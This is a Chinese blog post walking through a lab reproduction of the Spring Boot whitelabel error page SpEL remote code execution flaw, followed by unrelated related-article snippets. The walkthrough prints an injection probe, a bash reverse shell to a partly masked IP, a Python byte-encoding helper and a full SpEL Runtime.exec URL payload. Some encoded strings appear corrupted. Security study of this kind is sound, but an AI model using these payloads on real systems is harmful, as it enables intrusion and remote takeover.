(2022年12月最新)SpringBoot远程代码执行whitelabel error page SpEL RCE漏洞复现

news/2024/3/4 1:59:28

1、 漏洞原理

spring boot 处理参数值出错,流程进入org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。其中 ${} 包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。

2、漏洞复现

使用命令拉取靶场

docker pull  vulfocus/spring-boot_whitelabel_spel:latest

1、开启靶场访问
在这里插入图片描述
2、寻找一个正常传参处,以/article?id=xxx为例,实战可以通过burpsuite等工具fuzz。若网站状态码返回为500,则后续测试可在此id参数进行。

在这里插入图片描述
3、输入 /article?id=${88} ,如果发现报错页面将 88的值 64 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
在这里插入图片描述
4、编写反弹shell脚本

bash -i >& /dev/tcp/xxx.xxx.230.165/6677 0>&1

将上面的反弹shell语句使用base64编码放在下面echo后面

bash -c {echo,YmFzaCAtaSA+JiAvZGV2Q3RjcC8xNzPuMjWuMjMwLjE2NS82Ajx3IDB+ZjE=}|{base64,-d}|{bash,-i} 

5、将下面的POC放在记事本中,更改后缀为*.py

# coding: utf-8result = ""
target = 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjc}|{base64,-d}|{bash,-i}'
for x in target:result += hex(ord(x)) + ","
print(result.rstrip(','))

6、执行命令,将反弹shell的命令转换为java字节形式

在这里插入图片描述
7、使用如下poc,将上面转换后的java字节shell复制到下面的poc中,放在浏览器中执行

article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]
{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4e,0x7a,0x55,0x75,0x4d,0x6a,0x51,0x75,0x4d,0x6a,0x38,0x77,0x38,0x6a,0x45,0x32,0x4e,0x53,0x38,0x32,0x3e,0x6a,0x38,0x33,0x49,0x38,0x41,0x2b,0x38,0x6a,0x38,0x38,0x7d,0x7c,0x7b,0x38,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x38,0x2d,0x38,0x7d}))}

在这里插入图片描述
8、执行之后,发现nc监听返回了shell
在这里插入图片描述


http://www.ppmy.cn/news/5175.html

相关文章

CSDN第16期竞赛

目录 1.比赛详情 2.竞赛感悟 3.竞赛题目回顾 (1)鬼画符门莲台争夺战 (2)津津的储蓄计划 (3)多边形的面积 (4)小桥流水人家 1.比赛详情 比赛地址:http://t.csdn.cn/b1Lzm 2.竞赛感悟 通过这次的周赛&#xff0c…

我国风电行业发展现状:并网装机容量持续增长 产业集中化趋势明显

根据观研报告网发布的《2022年中国风电行业分析报告-行业全景评估与投资规划分析》显示,风电是一种清洁、绿色的可再生能源。风力发电是能源领域中技术最成熟、最具规模开发条件和商业化发展前景的发电方式之一。发展风力发电对于解决能源危机、减轻环境污染、调整能…

LeetCode:1760. 袋子里最少数目的球

解题思路: 看了很久也不知道该怎么下手,果断转去题解看答案,所实话官方的题解说的有些抽象,先买那是我自己看了别人的博客和思考后的一些思路: 1、为什么可以用二分查找? 题目要求你的开销是单个袋子里球…

内网穿透软件对比——cpolar : 花生壳(上)

系列文章 内网穿透软件对比——cpolar : 花生壳(上)内网穿透软件对比——cpolar : 花生壳(中)内网穿透软件对比——cpolar : 花生壳(下) 文章目录系列文章1. 前言2. 对比内容2.1 官网主页对比2.2 用户注册…

【LVGL学习笔记】(五)使用SquareLine Studio设计UI

LVGL全程LittleVGL,是一个轻量化的,开源的,用于嵌入式GUI设计的图形库。并且配合LVGL模拟器,可以在电脑对界面进行编辑显示,测试通过后再移植进嵌入式设备中,实现高效的项目开发。 LVGL中文教程手册&#…

Solidity 基础(二)语言描述-类型

一、Solidity 源文件结构 源文件可以包含任意数量的合约定义、import、pragma和using for指令以及struct、enum、function、error和constant variable定义。 1.1 SPDX许可证标识符 如果智能合约的源代码可用,就可以更好地建立对智能合约的信任。由于提供源代码总…

设备台账管理系统

开发工具(eclipse/idea/vscode等): 数据库(sqlite/mysql/sqlserver等): 功能模块(请用文字描述,至少200字): 模块划分:公告类型、公告信息、员工信息、仓库信息、设备类型、设备信息、供应商信息、采购信息、设备调拨、…

Postman接口测试之Mock快速入门

一、Mock简介 1.Mock定义 Mock是一种比较特殊的测试技巧,可以在没有依赖项的情况下进行接口或单元测试。通常情况下,Mock与其他方法的区别是,用于模拟代码依赖对象,并允许设置对应的期望值。简单一点来讲,就是Mock创建…

程序员必看:一款巨好用的免费简历“神器”(据说有了它,再也不发愁找工作啦!)

先说地址:https://cvmaker.greedyai.com/ 相比于前两年,今年大家的求职热情依然不减,但市场却泼了一盆“冰水”。 无论是从后台收到的留言,还是各种各样的新闻报道,以及今年的各大平台招聘数据来看,总结…

差分详细讲解(C++)

每日一句:平凡的我在人多的地方曾极力小心翼翼, 但不知从何时起 ,我不太在意别人的目光了。比起被人觉得是个怪人,我现在更害怕浪费时间。 差分一、一维差分二、二维差分一、一维差分 差分就是前缀和的逆运算,如果你不懂什么是前缀和,看这里…

关于foreach循环

package com.javase.collection.foreach;import java.util.Iterator; import java.util.LinkedList; import java.util.List;/*** 关于foreach循环(也叫增强for循环)* 格式:* for(元素类型 元素名称:数组(集合)名称){*…

Electron + Vue 实现输入法自动刷字数

思路:循环使用 robotjs 库模拟键盘点击,从而实现输入法刷自动刷字数的功能。 安装依赖 npm i robotjsVue 代码 在 Vue 中编写一个文本域用来聚焦输入法焦点。思路:当我们按下 S 键时,给 Electron 发送消息告诉 Electron 开始刷…

Git常用命令总结

一、Git常用操作 1. 从仓库中clone项目到本地 (1)使用命令 git clone gitgit.xxx/wd-order.git(2)使用idea File -> New → Project from Version Control 2. 创建分支 (1)使用命令 git checkout …

85%的攻击现在使用加密通道

©网络研究院 加密攻击仍然是全球各国面临的一个重大问题,美国、印度和日本的攻击数量在过去12个月中增长最快。 此外,与2021年相比,南非的TLS/SSL攻击显著增加。 Zscaler的安全研究和运营副总裁表示:“随着组织网络防御的成熟&#x…

arm汇编指令——分析问题的利器

文章目录arm汇编指令为什么重要1. 主导问题2. arm汇编指令分类介绍通用寄存器状态寄存器数据转移指令寻址格式运算指令比较指令跳转指令3. 反汇编接口4. 反汇编分析举例test1test2test3test4test5test6test7arm汇编指令为什么重要 分析问题中会涉及到看反汇编代码,通…

【MyBatis】延迟加载

resultMap可以实现高级映射(使用association、collection实现一对一及一对多映射),association、collection具备延迟加载功能。 延迟加载:先从单表查询、需要时再从关联表去关联查询,大大提高数据库性能,因…

计算机行业真的这么吃香吗,他的真实薪资情况到底如何呢?

越来越多的人涌入计算机行业,这个行业真的这么吃香吗,他的真实薪资情况到底如何呢? 近些年来,不论是否是计算机专业的学生或者是社会人员,都选择一脚踏入这个行业。它真的这么好吗? 首先从地域而言&#…

基于C++11 实现的线程池

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 基于C11 实现的线程池基于C11 实现的线程池1、线程池原理2、线程池的设计思路?3、一个基于C11的优秀的线程池3.1 头文件3.2 线程池类3.3 构造函数实现3.4 入队—添…

Flink实战案例四部曲

Flink实战案例四部曲 第一部曲:统计5分钟内用户修改创建删除文件的操作日志数量 输入 1001,delete 1002,update 1001,create 1002,delte 输出 1001,2 1002,2代码如下。 import org.apache.flink.streaming.api.environment.StreamExecutionEnvironmen…

Python爬虫详解

从今天开始,给大家介绍Python爬虫相关知识,今天主要内容是爬虫的基础理论知识。 一、爬虫简介 爬虫是指通过编写程序,来模拟浏览器访问Web网页,然后通过一定的策略,爬取指定内容。因此,爬虫的编写通常分为…
最新文章